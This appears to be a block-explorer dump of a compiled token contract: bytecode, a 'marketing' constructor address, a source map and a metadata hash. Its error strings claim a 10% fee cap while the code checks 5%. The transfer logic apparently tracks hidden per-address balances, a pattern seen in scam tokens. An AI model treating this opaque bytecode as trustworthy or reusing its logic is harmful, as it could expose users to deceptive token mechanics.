1614155b156104f5576000546001600160a01b031633146104f557600e5460ff166104f55760405162461bcd60e51b815260206004820152601060248201526f131a5b5a5d1cc81a5b881959999958dd60821b60448201526064015b60405180910390fd5b6003546010555b6001600160a01b038416600090815260076020908152604080832033845290915290205482111561052c57600080fd5b6001600160a01b03841660009081526007602090815260408083203384529091528120805484929061055f908490610ae7565b9091555061057090508484846107d3565b506001949350505050565b6000546001600160a01b031633146105a55760405162461bcd60e51b81526004016104ec90610afa565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106195760405162461bcd60e51b81526004016104ec90610afa565b600e805460ff19169055565b60006106323384846107d3565b5060019392505050565b600582111561068d5760405162461bcd60e51b815260206004820152601f60248201527f427579206665652063616e6e6f74206265206d6f7265207468616e203130250060448201526064016104ec565b60058111156106de5760405162461bcd60e51b815260206004820181905260248201527f53656c6c206665652063616e6e6f74206265206d6f7265207468616e2031302560448201526064016104ec565b600291909155600355565b6000546001600160a01b031633146107135760405162461bcd60e51b81526004016104ec90610afa565b6001600160a01b0381166107785760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104ec565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166000908152600a60205260408120548103610820576001600160a01b0384166000908152600b60205260408120805484929061081a908490610ae7565b90915550505b81600003610859576005546001600160a01b03841660009081526009602052604081208054909190610853908490610b2f565b90915550505b600e546001600160a01b03858116610100909204161480159061089257506001600160a01b0384166000908152600a6020526040902054155b80156108b557506001600160a01b03841660009081526009602052604090205415155b156108eb576005546001600160a01b0385166000908152600a6020526040812080549091906108e5908490610ae7565b90915550505b6001600160a01b0383166000908152600b602052604081208054849290610913908490610b2f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161095f91815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b8181101561099e57858101830151858201604001528201610982565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146109d657600080fd5b919050565b600080604083850312156109ee57600080fd5b6109f7836109bf565b946020939093013593505050565b600060208284031215610a1757600080fd5b5035919050565b600080600060608486031215610a3357600080fd5b610a3c846109bf565b9250610a4a602085016109bf565b9150604084013590509250925092565b600060208284031215610a6c57600080fd5b610a75826109bf565b9392505050565b60008060408385031215610a8f57600080fd5b610a98836109bf565b9150610aa6602084016109bf565b90509250929050565b60008060408385031215610ac257600080fd5b50508035926020909101359150565b634e487b7160e01b600052601160045260246000fd5b8181038181111561042c5761042c610ad1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561042c5761042c610ad156fea2646970667358221220d06bbff37acc91404e03912fa6db2fa8556e6e2340039754c97a88709f7ab64664736f6c63430008120033

000000000000000000000000c9d942108533c5db14f08730ba9ce0ba1256fd19

-----Decoded View---------------
Arg [0] : marketing (address): 0xC9d942108533C5db14F08730ba9Ce0BA1256fD19

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000c9d942108533c5db14f08730ba9ce0ba1256fd19

6633:10496:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8707:83;;;;;;;;;;-1:-1:-1;8777:5:0;;;;;;;;;;;;-1:-1:-1;;;8777:5:0;;;;8707:83;;;;;;;:::i;:::-;;;;;;;;9857:213;;;;;;;;;;-1:-1:-1;9857:213:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;9857:213:0;1004:187:1;7829:41:0;;;;;;;;;;-1:-1:-1;7829:41:0;;;;-1:-1:-1;;;;;7829:41:0;;;;;;-1:-1:-1;;;;;1386:32:1;;;1368:51;;1356:2;1341:18;7829:41:0;1196:229:1;8891:95:0;;;;;;;;;;-1:-1:-1;7553:16:0;8891:95;;;1576:25:1;;;1564:2;1549:18;8891:95:0;1430:177:1;9416:101:0;;;;;;;;;;-1:-1:-1;9416:101:0;;;;;:::i;:::-;9484:17;:25;9416:101;;;11539:689;;;;;;;;;;-1:-1:-1;11539:689:0;;;;;:::i;:::-;;:::i;8994:83::-;;;;;;;;;;-1:-1:-1;8994:83:0;;7022:1;2272:36:1;;2260:2;2245:18;8994:83:0;2130:184:1;7664:28:0;;;;;;;;;;-1:-1:-1;7664:28:0;;;;;;;-1:-1:-1;;;;;7664:28:0;;;7332:44;;;;;;;;;;-1:-1:-1;7332:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;4124:148;;;;;;;;;;;;;:::i;7626:31::-;;;;;;;;;;-1:-1:-1;7626:31:0;;;;;;;;3910:79;;;;;;;;;;-1:-1:-1;3948:7:0;3975:6;-1:-1:-1;;;;;3975:6:0;3910:79;;8798:87;;;;;;;;;;-1:-1:-1;8870:7:0;;;;;;;;;;;;-1:-1:-1;;;8870:7:0;;;;8798:87;;16595:91;;;;;;;;;;;;;:::i;9683:162::-;;;;;;;;;;-1:-1:-1;9683:162:0;;;;;:::i;:::-;;:::i;7104:64::-;;;;;;;;;;-1:-1:-1;7104:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;15308:289;;;;;;;;;;-1:-1:-1;15308:289:0;;;;;:::i;:::-;;:::i;4280:244::-;;;;;;;;;;-1:-1:-1;4280:244:0;;;;;:::i;:::-;;:::i;9857:213::-;9958:10;9923:12;9948:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;9948:30:0;;;;;;;;;;:39;;;10003:37;9923:12;;9948:30;;10003:37;;;;9981:6;1576:25:1;;1564:2;1549:18;;1430:177;10003:37:0;;;;;;;;-1:-1:-1;10058:4:0;9857:213;;;;;:::o;11539:689::-;11633:12;3975:6;;-1:-1:-1;;;;;11662:22:0;;;3975:6;;11662:22;;;;:46;;-1:-1:-1;3948:7:0;3975:6;-1:-1:-1;;;;;11688:20:0;;;3975:6;;11688:20;;11662:46;11658:366;;;11742:13;;-1:-1:-1;;;;;11729:26:0;;;11742:13;;;;;11729:26;:69;;;;-1:-1:-1;11782:15:0;;-1:-1:-1;;;;;11759:39:0;;;11782:15;;11759:39;;11729:69;11725:250;;;3948:7;3975:6;-1:-1:-1;;;;;3975:6:0;11823:10;11819:141;;;11877:12;;;;11872:88;;11914:26;;-1:-1:-1;;;11914:26:0;;3438:2:1;11914:26:0;;;3420:21:1;3477:2;3457:18;;;3450:30;-1:-1:-1;;;3496:18:1;;;3489:46;3552:18;;11914:26:0;;;;;;;;11872:88;11999:13;;11989:7;:23;11658:366;-1:-1:-1;;;;;12054:22:0;;;;;;:9;:22;;;;;;;;12077:10;12054:34;;;;;;;;12044:44;;;12036:53;;;;;;-1:-1:-1;;;;;12100:22:0;;;;;;:9;:22;;;;;;;;12123:10;12100:34;;;;;;;:44;;12138:6;;12100:22;:44;;12138:6;;12100:44;:::i;:::-;;;;-1:-1:-1;12155:43:0;;-1:-1:-1;12167:11:0;12180:9;12191:6;12155:11;:43::i;:::-;-1:-1:-1;12216:4:0;;11539:689;-1:-1:-1;;;;11539:689:0:o;4124:148::-;4037:6;;-1:-1:-1;;;;;4037:6:0;2749:10;4037:22;4029:67;;;;-1:-1:-1;;;4029:67:0;;;;;;;:::i;:::-;4231:1:::1;4215:6:::0;;4194:40:::1;::::0;-1:-1:-1;;;;;4215:6:0;;::::1;::::0;4194:40:::1;::::0;4231:1;;4194:40:::1;4262:1;4245:19:::0;;-1:-1:-1;;;;;;4245:19:0::1;::::0;;4124:148::o;16595:91::-;4037:6;;-1:-1:-1;;;;;4037:6:0;2749:10;4037:22;4029:67;;;;-1:-1:-1;;;4029:67:0;;;;;;;:::i;:::-;16658:12:::1;:20:::0;;-1:-1:-1;;16658:20:0::1;::::0;;16595:91::o;9683:162::-;9750:12;9775:40;9787:10;9799:7;9808:6;9775:11;:40::i;:::-;-1:-1:-1;9833:4:0;;9683:162;-1:-1:-1;;;9683:162:0:o;15308:289::-;7461:1;15388:6;:20;;15380:64;;;;-1:-1:-1;;;15380:64:0;;4409:2:1;15380:64:0;;;4391:21:1;4448:2;4428:18;;;4421:30;4487:33;4467:18;;;4460:61;4538:18;;15380:64:0;4207:355:1;15380:64:0;7461:1;15463:7;:21;;15455:66;;;;-1:-1:-1;;;15455:66:0;;4769:2:1;15455:66:0;;;4751:21:1;;;4788:18;;;4781:30;4847:34;4827:18;;;4820:62;4899:18;;15455:66:0;4567:356:1;15455:66:0;15534:12;:21;;;;15566:13;:23;15308:289::o;4280:244::-;4037:6;;-1:-1:-1;;;;;4037:6:0;2749:10;4037:22;4029:67;;;;-1:-1:-1;;;4029:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4369:22:0;::::1;4361:73;;;::::0;-1:-1:-1;;;4361:73:0;;5130:2:1;4361:73:0::1;::::0;::::1;5112:21:1::0;5169:2;5149:18;;;5142:30;5208:34;5188:18;;;5181:62;-1:-1:-1;;;5259:18:1;;;5252:36;5305:19;;4361:73:0::1;4928:402:1::0;4361:73:0::1;4471:6;::::0;;4450:38:::1;::::0;-1:-1:-1;;;;;4450:38:0;;::::1;::::0;4471:6;::::1;::::0;4450:38:::1;::::0;::::1;4499:6;:17:::0;;-1:-1:-1;;;;;;4499:17:0::1;-1:-1:-1::0;;;;;4499:17:0;;;::::1;::::0;;;::::1;::::0;;4280:244::o;13694:583::-;-1:-1:-1;;;;;13817:17:0;;13784:12;13817:17;;;:7;:17;;;;;;:22;;13813:92;;-1:-1:-1;;;;;13860:19:0;;;;;;:9;:19;;;;;:29;;13883:6;;13860:19;:29;;13883:6;;13860:29;:::i;:::-;;;;-1:-1:-1;;13813:92:0;13925:6;13935:1;13925:11;13921:43;;13958:6;;-1:-1:-1;;;;;13938:16:0;;;;;;:6;:16;;;;;:26;;:16;;;:26;;13958:6;;13938:26;:::i;:::-;;;;-1:-1:-1;;13921:43:0;13997:13;;-1:-1:-1;;;;;13985:25:0;;;13997:13;;;;;13985:25;;;;:51;;-1:-1:-1;;;;;;14014:17:0;;;;;;:7;:17;;;;;;:22;13985:51;:75;;;;-1:-1:-1;;;;;;14040:16:0;;14059:1;14040:16;;;:6;:16;;;;;;:20;;13985:75;13981:143;;;14102:6;;-1:-1:-1;;;;;14081:17:0;;;;;;:7;:17;;;;;:27;;:17;;;:27;;14102:6;;14081:27;:::i;:::-;;;;-1:-1:-1;;13981:143:0;-1:-1:-1;;;;;14154:19:0;;;;;;:9;:19;;;;;:29;;14177:6;;14154:19;:29;;14177:6;;14154:29;:::i;:::-;;;;;;;;14222:8;-1:-1:-1;;;;;14203:36:0;14212:8;-1:-1:-1;;;;;14203:36:0;;14232:6;14203:36;;;;1576:25:1;;1564:2;1549:18;;1430:177;14203:36:0;;;;;;;;-1:-1:-1;14261:4:0;13694:583;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1612:180::-;1671:6;1724:2;1712:9;1703:7;1699:23;1695:32;1692:52;;;1740:1;1737;1730:12;1692:52;-1:-1:-1;1763:23:1;;1612:180;-1:-1:-1;1612:180:1:o;1797:328::-;1874:6;1882;1890;1943:2;1931:9;1922:7;1918:23;1914:32;1911:52;;;1959:1;1956;1949:12;1911:52;1982:29;2001:9;1982:29;:::i;:::-;1972:39;;2030:38;2064:2;2053:9;2049:18;2030:38;:::i;:::-;2020:48;;2115:2;2104:9;2100:18;2087:32;2077:42;;1797:328;;;;;:::o;2527:186::-;2586:6;2639:2;2627:9;2618:7;2614:23;2610:32;2607:52;;;2655:1;2652;2645:12;2607:52;2678:29;2697:9;2678:29;:::i;:::-;2668:39;2527:186;-1:-1:-1;;;2527:186:1:o;2718:260::-;2786:6;2794;2847:2;2835:9;2826:7;2822:23;2818:32;2815:52;;;2863:1;2860;2853:12;2815:52;2886:29;2905:9;2886:29;:::i;:::-;2876:39;;2934:38;2968:2;2957:9;2953:18;2934:38;:::i;:::-;2924:48;;2718:260;;;;;:::o;2983:248::-;3051:6;3059;3112:2;3100:9;3091:7;3087:23;3083:32;3080:52;;;3128:1;3125;3118:12;3080:52;-1:-1:-1;;3151:23:1;;;3221:2;3206:18;;;3193:32;;-1:-1:-1;2983:248:1:o;3581:127::-;3642:10;3637:3;3633:20;3630:1;3623:31;3673:4;3670:1;3663:15;3697:4;3694:1;3687:15;3713:128;3780:9;;;3801:11;;;3798:37;;;3815:18;;:::i;3846:356::-;4048:2;4030:21;;;4067:18;;;4060:30;4126:34;4121:2;4106:18;;4099:62;4193:2;4178:18;;3846:356::o;5335:125::-;5400:9;;;5421:10;;;5418:36;;;5434:18;;:::i

ipfs://d06bbff37acc91404e03912fa6db2fa8556e6e2340039754c97a88709f7ab646